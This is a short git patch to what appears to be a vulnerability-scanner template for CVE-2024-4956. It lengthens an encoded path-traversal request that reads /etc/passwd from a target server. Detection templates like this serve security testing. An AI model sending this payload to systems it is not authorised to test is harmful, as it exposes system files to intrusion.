From 2bf00c43f17f52b5e8ee361725a7710ec8f29b20 Mon Sep 17 00:00:00 2001 From: Gunther Royen Date: Wed, 29 May 2024 11:02:41 +0200 Subject: [PATCH] enlarged traversal path, this is often not long enough --- http/cves/2024/CVE-2024-4956.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/http/cves/2024/CVE-2024-4956.yaml b/http/cves/2024/CVE-2024-4956.yaml index 2481ee7b18..8da26616b5 100644 --- a/http/cves/2024/CVE-2024-4956.yaml +++ b/http/cves/2024/CVE-2024-4956.yaml @@ -30,7 +30,7 @@ info: http: - method: GET path: - - "{{BaseURL}}/%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd" + - "{{BaseURL}}/%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd" matchers: - type: dsl